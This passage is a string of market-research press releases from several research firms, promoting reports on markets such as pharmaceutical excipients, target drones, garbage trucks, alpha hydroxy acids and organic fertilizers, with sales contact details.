prime drivers of the market include rising demand for sustained-release and controlled-release formulations, especially in oral applications, and increased demand for generics. Sustained and extended release formulations are gaining popularity as they help in maintaining patient-safety through reduced number of medicine dosages, but having increased drug efficacy. Apart from these factors, increase in the incidence of chronic diseases across regions has been spurring demand for essential drugs, which is expected to fuel demand for excipients over the forecast period.Frequent physical audits of excipients manufacturing facilities by officials from regulatory agencies lead to the imposition of substantial operating cost burdens on excipient manufacturers, thus hampering revenue growth for excipients over the forecast period. Other market deterrents include long gestation period before a novel excipient is formally accepted in the industry. However, the situation is expected to improve over the next few years, with individual economies formulating their own good manufacturing and good distribution practice guidelines in collaboration with the International Pharmaceutical Excipient Council.Request to View Sample of Research Report @Based on regions, the market has been divided into North America, Latin America, Europe, Asia-Pacific, and the MEA. Developed pharmaceutical markets such as the U.S. and EU are expected to emerge as the main sourcing markets, while economies such as India, China, and Brazil are expected to emerge as the main supplying countries for raw materials such as cellulose, starch, lactose, etc.Formalization of good manufacturing practices for excipients is an urgent need in the global excipients market, in order to cater to rising demand for higher purity excipients in applications such as parenteral forms. According to various trade associations and regulatory agencies, global acceptance of excipients by drug manufacturers is a relatively lengthy process, which takes around seven to 10 years. This factor is expected to prolong the revenue conversion period for excipients manufacturers.This report assesses trends by chemistry type, application type, functionalities and regions to offer analytical insights about the potential demand emerging for particular pharmaceutical excipients in specific regions. North America is estimated to dominate the pharmaceutical excipients market accounting for a maximum revenue share of the overall market by the end of 2015. By 2021 end, North America and Europe markets are expected to account for over three-fifth share of the global pharmaceutical excipients market revenue. In terms of market share by value, North America is estimated to retain its dominant position, registering a CAGR of 6.9% over the forecast period.Some key companies covered in this report include BASF SE, Evonik Industries AG, Innophos Holdings Inc., The Lubrizol Corporation, The Dow Chemical Company, Wacker Chemie AG, and Ashland Inc. These companies are primarily focused on enhancing their product portfolio through research and development and the introduction of innovative and cost-effective advanced manufacturing procedures such as co-processing of existing excipients in order to gain higher market share and to strengthen their respective positions in the global market.Buy now @About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Target Drones Market Grows with Next Generation Technologies

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Target drones are unmanned aerial vehicles, controlled by remote and mainly used in the defense. They are the substitutes for aerial targets primarily used in testing and evaluation and research and development. They resemble the radio-controlled model aircraft. The modern target drones are used in radar, countermeasures, and similar systems in order to mimic the manned aircraft.Upsurge in funds for training programs in the military across the globe is expected to fuel the demand for target drones as they are increasingly being adopted in the defense sector for training. Moreover, rise in incidents of political terrorism, civil unrest, and maritime piracy have augmented the investments for realistic military training. However, lack of trained and skilled personnel to control and operate the target drones is expected to hamper the market during the forecast period.Request A Sample Of This Report -The target drones market can be segmented based on engine type, fit, platform, target type, end-user, and region. In terms of engine type, the target drones market can be bifurcated into internal combustion engines, jet engines, and others. The jet engine segment is anticipated to dominate the market during the forecast period due to the high adoption rate of target drones in the military owing to their high speed capabilities.The fit market can be further segmented into customized fit and line fit. The line fit segment is expected to constitute the largest market share as customized fit is available only in the U.K. and the U.S. Due to budget constraints in the defense in emerging countries, customization of fighter aircraft is not possible as most of the countries obtain such aircraft from Russia and the U.S. and are not able to convert them into aerial targets. Therefore, the target drones in those countries are mostly line fit drones. Based on platform, the target drones market can be classified into ground targets, underwater targets, aerial targets, and sea surface targets.View Table of Contetnt -The aerial target segment is expected to expand significantly due to its wide usage in anti-missile military training, anti-aircraft, and missile calibration testing. On the basis of target type, the target drones market can be further divided into sub-scaled, free flying, full-scaled, towing, and sporting. The sub-scaled segment is expected to witness the largest market share owing to the fact that they are the inexpensive alternative to the real aircraft used during training. On the basis of end-user, the target drones market can be divided into homeland security, defense, and commercial. The defense segment is expected to account for the largest market share as target drones are primarily used for anti-missile, anti-aircraft, and anti-submarine military trainings and also for missile and weapon calibration testing.View Report -In terms of region, the target drones market can be segmented into North America, Europe, Asia Pacific, Middle East & Africa, and South America. North America is expected to constitute the largest share of the target drones market during the forecast period due to the rise in investment in training programs in the defense and the increase in budget allocated for target drones in the U.S. Moreover, in the U.S., old fighter aircraft are converted into aerial targets that help in the missile training and testing exercises and also simulate real-time threat scenarios for military anti-aircraft. Asia Pacific is expected to witness the fastest growth rate during the forecast period from emerging nations such as India and China due to their developing air-based defense equipment to reduce expenditure in imports.Major players operating in the target drones market are Lockheed Martin Corporation (The U.S.), Northrop Grumman Corporation (The U.S.), The Boeing Company (The U.S.), QinetiQ Group plc (U.K.), Leonardo S.p.A. (Italy), AeroTargets International, LLC (U.S.), Saab AB (Sweden), Kratos Defense & Security Solutions, Inc. (U.S.) and ASV Global (U.K.).Transparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendationsTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Physician Office Laboratory (POL) Testing Market, Opportunity, Segment and Key Trends 2013 - 2019

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Physician office lab (POL) term is wide and diverse, it encompasses physicians practices as small (2 to 5 doctors) to large practitioners (200 physicians) that operate labs similar to small laboratory hospitals. Hospitals and commercial labs perform tests, but physicians prefer to perform in-house testing in order to enhance the patient care. In-house testing facilitates physicians to no longer rely on the reference labs for test results. In addition, physicians can obtain faster results from their own labs and increase profits. POL also reduces the chances of loss or deterioration of the sample. Therefore, definition of POL is broad and it refers to the test performed in: physician office setting, provides a result during medical visit, conducted at the time of consultation or with other healthcare professional and is used for diagnosis, screening or monitoring purposes.Report Overview and TOC @In addition global market for POLs is increasing owing to rise in infectious diseases and the associated public health issues with increasing cardiovascular and other chronic conditions. Moreover, increasing trends of preventive medicine and proactive approach in treating the increasing number of diabetic patients is also accentuating the market size.Advancements in technology is favoring the market growth, as new microelectronic and microfluidic instruments that are small, easy to use and offer excellent quality and control. The compact size of many lab instruments has made POL feasible for even smaller offices and has enabled some physician to even perform test for other doctors. Therefore, physicians who want to access the test results immediately are setting up POLs.Request for Brochure @North America represents the largest market where number of POLs grew from 95,069 in 2000 to 111,000 in 2010. The FDA has approved many tests such as spun microhematocrit, monitoring instruments, nonautomated testing for erythrocyte sedimentation and other various tests. In addition there are more than 9 tests which are yet to be approved by FDA.POLs streamlines the doctors testing procedure by reducing time, increase patient efficiency and also positively impact staff efficiency. POL also provides fast turn around time of results and hence enables review of results face to face with the patient. All these factors collectively contribute to the growth of POLs testing market.Pre Book Full Report @Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453
Dec, 19 2017: Garbage Truck Market Outlook 2023 Pak Mor, Cheng Li, Wayne, McNeilus, Galbreath

Garbage Truck Market

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Garbage Truck Market Research 2017A market study "Global Garbage Truck Market" examines the performance of the Garbage Truck market 2017. It encloses an in-depth Research of the Garbage Truck market state and the competitive landscape globally. This report analyzes the potential of Garbage Truck market in the present and the future prospects from various angles in detail.The Global Garbage Truck Market 2017 report includes Garbage Truck market Revenue, market Share, Garbage Truck industry volume, market Trends, Garbage Truck Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Garbage Truck Price during the Forecast period from 2017 to 2022.To Get Sample Report Click Here:Manufacturers Analysis and Top Sellers of Global Garbage Truck Market 2017 :1. New Way2. Faun3. McNeilus4. EZ Pack5. Galbreath6. Wayne7. Pak Mor8. Labrie9. ZOOMLION10. Fujian Longma Sanitation11. Aerosun12. Cnhtc13. Cheng Li14. Dongfeng Motor Group15. Foton CarGarbage Truck Market : By Application Urban Garbage Treatment Building and Mining IndustryGarbage Truck Market : By Type Front Loaders Garbage Truck Rear Loaders Garbage Truck Side Loaders Garbage TruckFirstly, the report covers the top Garbage Truck manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Further, the Garbage Truck report gives information on the company profile, market share and contact details along with value chain analysis of Garbage Truck industry, Garbage Truck industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Garbage Truck Market development scope and various business strategies are also mentioned in this report.Browse Full Report Here:The Garbage Truck research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Garbage Truck market revenue worldwide.Finally, Garbage Truck market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:"Spire Market Research" is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244, USAWeb:Email: sales@spiremarketresearch.com
Valves Actuators and Positioners Market Types, Application and Regions for North America, Europe, South America, Asia-Pacific, Middle East and Africa

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The Insight Partners has announced the addition of the Valves, Actuators and Positioners Market to 2025  Global Analysis and Forecasts by Valves Type (Control Valves (Liner Motion & Rotary Motion)); Actuator Type (Hydraulic, Pneumatic, Manual, and Electric); Positioner Type (Pneumatic and Electric Pneumatic); and Application (Aerospace, Automotive, Electronics and Others) report to their offering.Valves, actuators and positioners are widely used in air & gas and aerospace industry. Valves are the main controlling equipment that control the flow of a fluid or a gases through a pipe. Actuators are devices which convert electrical, pneumatic or hydraulic energy into mechanical energy. Positioner monitors and controls the movement of system based on signals and pre-defined conditions. In addition to an actuator, a positioner can also be used to control a valve.The major driver influencing the growth of valves, actuator and positioner is the pressure control across valves, maintenance ability, efficient aircraft and increasing demand for civil aerospace. Lack of expertise in the field can act as the restraining factor in the market. Since the number of civil passengers are increasing, the civil aerospace market is forecast to grow in the coming years.Request Sample is Available atThe Valves, Actuators and Positioner Market Analysis to 2025 is a specialized and in-depth study of the valves, actuators and positioner industry with a focus on the global market trend. The report aims to provide an overview of global valves, actuators and positioner market with detailed market segmentation valves type, actuator type, positioner type, application and geography. The global valves, actuators and positioner market is expected to witness high growth during the forecast period. The report provides key statistics on the market status of the leading market players and offers key trends and opportunities in the market.The report provides a detailed overview of the industry including both qualitative and quantitative information. It provides overview and forecast of the global valves, actuators and positioner market based on valves type, actuator type, positioner type and application. It also provides market size and forecast till 2025 for overall valves, actuators and positioner market with respect to five major regions, namely; North America, Europe, Asia-Pacific (APAC), Middle East and Africa (MEA) and South America (SAM). The market by each region is later sub-segmented by respective countries and segments. The report covers analysis and forecast of 15 counties globally along with current trend and opportunities prevailing in the region.Inquire before Buying atBesides this, the report analyzes factors affecting market from both demand and supply side and further evaluates market dynamics effecting the market during the forecast period i.e., drivers, restraints, opportunities, and future trend. The report also provides exhaustive PEST analysis for all five regions namely; North America, Europe, APAC, MEA and South America after evaluating political, economic, social and technological factors effecting the market in these regions.Also, key valves, actuators and positioner market players influencing the market are profiled in the study along with their SWOT analysis and market strategies. The report also focuses on leading industry players with information such as company profiles, products and services offered, financial information of last 3 years, key development in past five years. Some of the key players influencing the market are Pentair PLC, Emerson Electric Co, Flowserve Corporation, Rotork Controls Inc., AUMA Riester GmbH & Co. KG, Cameron International Corp, General Electric Co., Metso Corp., Kingston Valves, and Apollo Valves  Conbranco Industries Inc.Complete Report is Available atContact Us:Call: +1-646-491-9876Email: sales@theinsightpartners.comAbout Us:The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Media, and Telecommunication industries.533, 5th Floor, Amanora Chambers,Amanora Township, East Block,Kharadi Road, Hadapsar, Pune-411028
Extracellular Matrix Proteins Market Explores New Growth Opportunities

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Growth factors are the promising molecules for the bone regeneration and wound healing process. However, their conversion to clinical use are limited and facing issues related to the safety and cost effectiveness. These growth factors are used at the supra-physiological level without any optimized delivery system. Extracellular matrix proteins play an important role in managing the growth factor signals. These are extracellular molecules which provide support to the surrounding cells. Extracellular matrix proteins also play an important role in the proliferation, survival, and development of cells that contact it. In human fetuses, extracellular matrix works with stem cell to grow and regrow organs. Research are being conducted to fully utilize these functions of extracellular matrix proteins. Extracellular matrix proteins serve as a growth factor binding agent and also work as a carrier for delivery of these growth factors.Extracellular Matrix Proteins Market: Drivers and RestraintsExtracellular matrix protein market is driven by the increasing cases of tissues and organ damages. Ageing of the population is also a growth driving factor for extracellular matrix protein market as with the older age self-regeneration ability of humans body reaches to its limits. Due to technological advancements is possible to extract the cell growth driving factors and biding them to the extracellular matrix proteins which can be used for better wound healing. Increasing focus of biopharmaceutical companies and research organization on this area is also expected to drive the growth of extracellular matrix protein market. But incomplete understanding of the functioning of the extracellular matrix proteins due to the complex nature can restrict the growth of this market.Request Report TOC @Extracellular Matrix Proteins Market: OverviewExtracellular matrix protein has been found to cause healing and regrowth of the tissues. It also prevents the immune system to cause inflammation as a triggering effect, owning to these factors extracellular matrix protein market is expected to show significant growth. Cases of organ transplant are increasing these days, but it is not possible always due to lack of availability of organ donor, rejection of organ by body or infections. But these situation can be overcome with the help of extracellular matrix proteins. Human extracellular matrix protein segment is expected to be most attractive and highest revenue generating segment. Pig bladder extracellular matrix market is also expected to show significant growth as it is easily accessible and suitable for conducting the research. Academic institutes are conducting the research on extracellular matrix protein market to develop new technology or medication which can be helpful in the regeneration of bones and management of wounds.Extracellular Matrix Proteins Market: Region Wise OutlookGeography, the global extracellular matrix protein market is segmented into North America, Latin America, Eastern Europe, Western Europe, Asia-Pacific excluding Japan, Japan, and Middle East & Africa. North America followed by Europe is expected to dominate the extracellular matrix protein market attributed to the well-developed healthcare infrastructure, increasing focus of the research institutes on the development of new technology and presence of the big market players. Asia-Pacific market is expected to be fastest growing market owning to factors such as increasing research & development activities in this region and presence strong local players.Request to Sample Report -Extracellular Matrix Proteins Market: Key PlayersSome of the market participants in the global extracellular matrix protein market are ThermoFisher Scientific, Lattice Biologics Ltd., DSM Biomedical Inc., AMS Biotechnology Limited, Sigma-Aldrich Co LLC, Corning Incorporated and CellSystems Biotechnologie Vertieb GmbH. Companies are focusing on the research & development activities to enhance the efficiency and effectiveness of extracellular matrix proteins in delivering growth factors.Pre Book Full Report ABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWebsite :
Orthopedic Software Market: Worldwide Industry Analysis and New Market Opportunities Explored

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The need for orthopedic software arises due to the increasing amount of time spent by the orthopedic physician or surgeon in maintaining critical patient paperwork and coordinating that information pertaining to the patient with other physicians. Orthopedic software aids in accurate delivery of patients information regarding medical parameters. Orthopedic software pertains to maintaining electronic health records (EHR) and also guides surgeons while operating the patients.It also helps them in preparing a pre-operative plan which can be used as guidance during surgery. This process, if carried out manually, is not only highly time consuming, but also increases chances of introducing an error. This issue is easily overcome by installing orthopedic software in the hospitals, surgery centers and orthopedic specialty clinics. The rise in population suffering from arthritis, especially osteoarthritis across the globe, coupled with upsurge in geriatric population is set to propel the market for orthopedic software worldwide.Obtain Report Details @The global orthopedic software market is segmented by type of software, end-user and mode of delivery. Based on type of software, the market can been divided into pre-operative planning & templating software, orthopedic EMR & Medical Billing software, practice management (PM) software, orthopedic picture archiving and communication systems (PACS) software, and orthopedics revenue cycle management (RCM) software.Based on end-user, the market is divided into hospitals, independent orthopedic clinics, surgery centers and others. The others segment includes nursing homes and research centers. The market based on mode of delivery is segmented by three types, namely, web-based, cloud based, and on premises systems. The procedures that the software assists in include joint arthroplasty and revisions, orthopedic trauma, limb deformity correction, osteotomy and pediatric and spinal assessment and is chosen by end users widely to meet the specific needs of planning such as deformity corrections and joint alignment calculation before commencing the surgery process.Request Sample @Geographically, North America was observed to be the largest orthopedic software market due to extensive technological advancements in the region. Countries such as the U.S. and Canada have been successful in implementing eHealth and mHealth as well as advanced visualization systems in their healthcare system, which would in turn boost the orthopedic software market growth.The rising preference for minimally invasive procedures and constantly improving reimbursement scenario would further propel the market growth. Europe was observed to be the second largest market in the orthopedic software market owing to enhanced digitization of the healthcare processes and rise in geriatric population prone to knee ailments and falls. The major factor that would drive the market in Asia Pacific include the acceptance and demand for high end medical infrastructure in the region.China, Japan and India are the most developing countries in the region and hence would fuel the market growth for orthopedic software market. Also the Asia Pacific region is witnessing high incidence of bone disorders and lifestyle related knee, spine and cervical ailments, which would in turn boost the market for orthopedic software.However, the perceived lack of expertise by orthopedic physicians as well as medical staff regarding software usage and cost of installing the software for hospitals and clinics already operating on a conservative budget is likely to retrain the market in this region.The major players operating in this market include Exscribe Orthopedic Healthcare Solutions, Materialise NV, Merge Healthcare Incorporated, Brainlab AG, CureMD, Medstrat, Inc., HealthFusion Inc., McKesson Corporation, and Greenway Health among other significant players worldwide.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Alpha Hydroxy Acid Market to Register Substantial Expansion By 2024.

U.S. Alpha Hydroxy Acid Market, By Product, 2013-2024, (Kilo Tons)

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Considering the rapidly increasing demand for skin care and cosmetic products, the renowned giants in alpha hydroxy acid (AHA) market such as Mehul Dye Chem Industries, Airedale Chemical Company, Dupont, Dow chemical, H Plus Ltd., Crosschem, Parchem, and Ava Chemicals are focusing on the development of a rather novel product range.The presence of a stringent regulatory landscape is undeniably one of the pivotal factors driving alpha hydroxy acid (AHA) market. Strategic initiatives undertaken by authorized bodies form an essential crux of AHA industry growth, given that the product may have adverse effects when deployed in excess. The U.S. Food and Drug Administration (FDA), for instance, in 2005, circulated essential guidelines for cosmetic producers using alpha hydroxy acids in their products as a main ingredient. FDAs intent behind drafting these directives was to spread awareness among consumers regarding the potentially harmful impact of cosmetics containing excess AHAs on the skin and to instruct manufacturers about incorrect product labelling.Considering the benefits of AHA for cosmetics and skin care products however, the FDA has also conducted research programs regarding their safety, thus validating that the initiatives undertaken by pivotal regulatory bodies do have an impact on AHA market. For instance, the organization has collaborated with the NTP (National Toxicology Program) to the evaluate the safety of long-term AHA usage, the results of which would substantially impact product sales, thereby augmenting alpha hydroxy acid industry share positively over the years ahead.Make an Inquiry before buying @In a bid to promote safe usage of cosmetic products, the FDA has also recommended few guidelines for consumers and manufacturers as follows, The PH of final product should be greater than or equal to 3.5 The final product must be formulated to protect the skin from sun sensitivity. The concentration of AHA must be equal to or less than 10%The deployment of abovementioned directives has positively impacted the alpha hydroxy acid industry share. As per estimates, in 2016, alpha hydroxy acid (AHA) market generated a revenue of USD 1.5 billion.Request for a Sample Copy of this Report @The popularity of AHA-based skin creams has been increasing tremendously of late, owing to their benefits of wrinkle and photoaging effect reduction. It has been observed that alpha hydroxy acids are also being used as common additives in various skin care products such as toners, cleansers, moisturizers, and masks. Additionally, the growing prevalence of dry skin diseases such as xerosis and pregnancy scars has fueled the product demand, thereby impelling AHA market size from skin applications, pegged at USD 400 million in 2016.The robust demand for AHA cosmetics can be principally credited to its noteworthy benefits, which have a key role to play in impelling alpha hydroxy acid market outlook. Some of these transformative benefits have been outlined below: Skin Lightening Effects: Alpha hydroxy acids help reduce skin discoloration and hyperpigmentation generated on face due to scars, sun damage, and other health issues, thereby improving facial appearance. The rising awareness among consumers regarding their personal looks will consequently stimulate alpha hydroxy acid industry trends in the ensuing years. Fewer Wrinkles: The University of Maryland Medical Center has discovered that AHA is endowed with the capability to minimize wrinkles and surface lines on face, in addition to removing the damaged skin layer of skin and allowing cell regrowth. This would substantially augment product demand and sales, thereby stimulating AHA market size.Browse key industry insights spread across 250 pages with 192 market data tables & 10 figures & charts from the report, Alpha Hydroxy Acid (AHA) Market Size By Product (Glycolic, Lactic, Citric), By Application (Cosmetics [Skin Care, Hair Care, Make Up, Fragrances], Dermal) Industry Analysis Report, Regional Outlook (U.S, Canada, Germany, UK, France, Italy, Spain, Russia, Poland, China, India, Japan, South Korea, Australia, Thailand, Taiwan, Indonesia, Brazil, Argentina, Mexico, Venezuela, Saudi Arabia, UAE, South Africa, Iran), Growth Potential, Price Trends, Competitive Market Share & Forecast, 2017  2024 in detail along with the table of contents:Several players across U.S. AHA industry, it is observed, are heavily investing in research and development activities with regards to the same. The involvement of regulatory bodies in addition to the initiatives by industry participants is thus likely to augment alpha hydroxy acid market size, slated to cross USD 3 billion by 2024.About Global Market Insights, Inc.Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Selbyville, Delaware 19975 USAEmail: sales@gminsights.com
Organic Fertilizers 2017 Global Market Key Players  Tata Chemicals Ltd, Coromandel International Limited, Midwestern BioAg, BioStar Organics, Perfect Blend  Analysis and Forecast to 2022

Organic Fertilizers Market

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Organic Fertilizers Market 2017Wiseguyreports.Com adds Organic Fertilizers Market Market Demand, Growth, Opportunities, Analysis of Top Key Players and Forecast to 2022 To Its Research Database.Report Details:This report provides in depth study of Organic Fertilizers Market using SWOT analysis i.e. Strength, Weakness, Opportunities and Threat to the organization. The Organic Fertilizers Market report also provides an in-depth survey of key players in the market which is based on the various objectives of an organization such as profiling, the product outline, the quantity of production, required raw material, and the financial health of the organization.This report offers an overview of the market trends, drivers, and barriers with respect to the Organic Fertilizers market. It also provides a detailed overview of the market of different regions across United States, Europe, China, Japan, India, Southeast Asia and Others. The report categorizes Organic Fertilizers market by By Source, By Crop Type, By Form, and application. Detailed analysis of key players, along with key growth strategies adopted by them is also covered in this report on Organic Fertilizers market.This report focuses Global market, it covers details as following:Key PlayersTata Chemicals Ltd (India)The Scotts Miracle-Gro Company (U.S.)Coromandel International Limited (India)National Fertilizers Limited (India)Krishak Bharati Cooperative Limited (India)Midwestern BioAg (U.S.)Italpollina SpA (Italy)ILSA S.p.A (Italy)Perfect Blend, LLC (U.S.)Sustane Natural Fertilizer, Inc. (U.S.)BioStar Organics (U.S.)California Organic Fertilizers (U.S.)Hendrikus Organics (U.S.)Walts Organic Fertilizer Company (U.S.)Jiangsu Zhifeng Biological Technology Co., Ltd. (China)Request a Sample Report @Key RegionsNorth AmericaUnited StatesCanadaLatin AmericaMexicoBrazilArgentinaOthersEuropeGermanyUnited KingdomFranceItalySpainRussiaNetherlandOthersAsia & PacificChinaJapanIndiaKoreaAustraliaSoutheast AsiaIndonesiaThailandPhilippinesVietnamSingaporeMalaysiaOthersAfrica & Middle EastSouth AfricaEgyptTurkeySaudi ArabiaIranOthersMain types of productsOrganic Fertilizers Market, by SourcePlantAnimalMineralOrganic Fertilizers Market, by Crop TypeCereals & grainsOilseeds & pulsesFruits & vegetablesOthersOrganic Fertilizers Market, by FormDryLiquidOrganic Fertilizers Market, by Key ConsumerGrainsOilseedsFruitsVegetablesOthersComplete Report Details@Major Key Points in Table of Content:Chapter One Methodology and Data Source1.1 Methodology/Research Approach1.1.1 Research Programs/Design1.1.2 Market Size Estimation1.1.3 Market Breakdown and Data Triangulation1.2 Data Source1.2.1 Secondary Sources1.2.2 Primary Sources1.3 DisclaimerChapter Two Organic Fertilizers Market Overview2.1 Market Coverage2.2 Global Organic Fertilizers Market Sales Volume Revenue and Price 2012-2017Chapter Three Organic Fertilizers by Key Players 2012-20173.1 Global Organic Fertilizers Sales Volume Market Share by Key Players 2012-20173.2 Global Organic Fertilizers Revenue Share by Key Players 2012-20173.3 Global Key Players Organic Fertilizers Key Product Model and Market Performance3.4 Global Key Players Organic Fertilizers Key Target Consumers and Market Performance.Chapter Six Global Key Players Profile6.1 Tata Chemicals Ltd (India)6.1.1 Tata Chemicals Ltd (India) Company Details and Competitors6.1.2 Tata Chemicals Ltd (India) Key Organic Fertilizers Models and Performance6.1.3 Tata Chemicals Ltd (India) Organic Fertilizers Business SWOT Analysis and Forecast6.1.4 Tata Chemicals Ltd (India) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.2 The Scotts Miracle-Gro Company (U.S.)6.2.1 The Scotts Miracle-Gro Company (U.S.) Company Details and Competitors6.2.2 The Scotts Miracle-Gro Company (U.S.) Key Organic Fertilizers Models and Performance6.2.3 The Scotts Miracle-Gro Company (U.S.) Organic Fertilizers Business SWOT Analysis and Forecast6.2.4 The Scotts Miracle-Gro Company (U.S.) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.3 Coromandel International Limited (India)6.3.1 Coromandel International Limited (India) Company Details and Competitors6.3.2 Coromandel International Limited (India) Key Organic Fertilizers Models and Performance6.3.3 Coromandel International Limited (India) Organic Fertilizers Business SWOT Analysis and Forecast6.3.4 Coromandel International Limited (India) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.4 National Fertilizers Limited (India)6.4.1 National Fertilizers Limited (India) Company Details and Competitors6.4.2 National Fertilizers Limited (India) Key Organic Fertilizers Models and Performance6.4.3 National Fertilizers Limited (India) Organic Fertilizers Business SWOT Analysis and Forecast6.4.4 National Fertilizers Limited (India) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.5 Krishak Bharati Cooperative Limited (India)6.5.1 Krishak Bharati Cooperative Limited (India) Company Details and Competitors6.5.2 Krishak Bharati Cooperative Limited (India) Key Organic Fertilizers Models and Performance6.5.3 Krishak Bharati Cooperative Limited (India) Organic Fertilizers Business SWOT Analysis and Forecast6.5.4 Krishak Bharati Cooperative Limited (India) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.6 Midwestern BioAg (U.S.)6.6.1 Midwestern BioAg (U.S.) Company Details and Competitors6.6.2 Midwestern BioAg (U.S.) Key Organic Fertilizers Models and Performance6.6.3 Midwestern BioAg (U.S.) Organic Fertilizers Business SWOT Analysis and Forecast6.6.4 Midwestern BioAg (U.S.) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.7 Italpollina SpA (Italy)6.7.1 Italpollina SpA (Italy) Company Details and Competitors6.7.2 Italpollina SpA (Italy) Key Organic Fertilizers Models and Performance6.7.3 Italpollina SpA (Italy) Organic Fertilizers Business SWOT Analysis and Forecast6.7.4 Italpollina SpA (Italy) Organic Fertilizers Sales Volume Revenue Price Cost and Gross Margin6.8 ILSA S.p.A (Italy)6.9 Perfect Blend, LLC (U.S.)6.10 Sustane Natural Fertilizer, Inc. (U.S.)Continued.Buy now @Contact Us:NORAH TRENTPh: +1-646-845-9349 (US)Sales@Wiseguyreports.ComPh: +44 208 133 9349 (UK)ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.ADDRES:WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Global Hexamethyldisilane market 2017 - Gelest, Shin-Etsu Chemical, Sungwoo, CEDA Chemicals GmbH

Global Hexamethyldisilane market

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Apex Market Reports, recently published a detailed market research study focused on the "Hexamethyldisilane Market" across the global, regional and country level. The report provides 360 analysis of "Hexamethyldisilane Market" from view of manufacturers, regions, product types and end industries. The research report analyses and provides the historical data along with current performance of the global Hexamethyldisilane industry, and estimates the future trend of Hexamethyldisilane market on the basis of this detailed study. The study shares "Hexamethyldisilane Market" performance both in terms of volume and revenue.Get Free Sample Copy of Report Here:Top Manufacturers Analysis of This ReportGelestShin-Etsu ChemicalSungwooXinyaqiang Silicon ChemistryCEDA Chemicals GmbHThe market research report explores the Hexamethyldisilane market across the globe along with major regions and countries. The research report provides a detailed study on each and every aspect of "Hexamethyldisilane Market". The research report studies the entire value chain from raw material to end user industries. The report also shares import/export statistics along with production and consumption for all major regions and countries. Moreover, the research study classifies the Hexamethyldisilane market based on major product types, application and end users industries of Hexamethyldisilane. Besides, the report also covers geographical segmentation for Hexamethyldisilane market. The report further provides production, capacity, price per region, gross margin, production cost, for all major regions and countries listed in report.The competitive landscape of the global market for Hexamethyldisilane is determined by assessing the major industry participants, production capacity, production capacity utilization rate, Hexamethyldisilane market's production chain, pricing by each manufacturer and the revenue generated by each manufacturer in the Hexamethyldisilane market globally.Enquire Before Buying @The global Hexamethyldisilane market 2017 is further analyzed on the 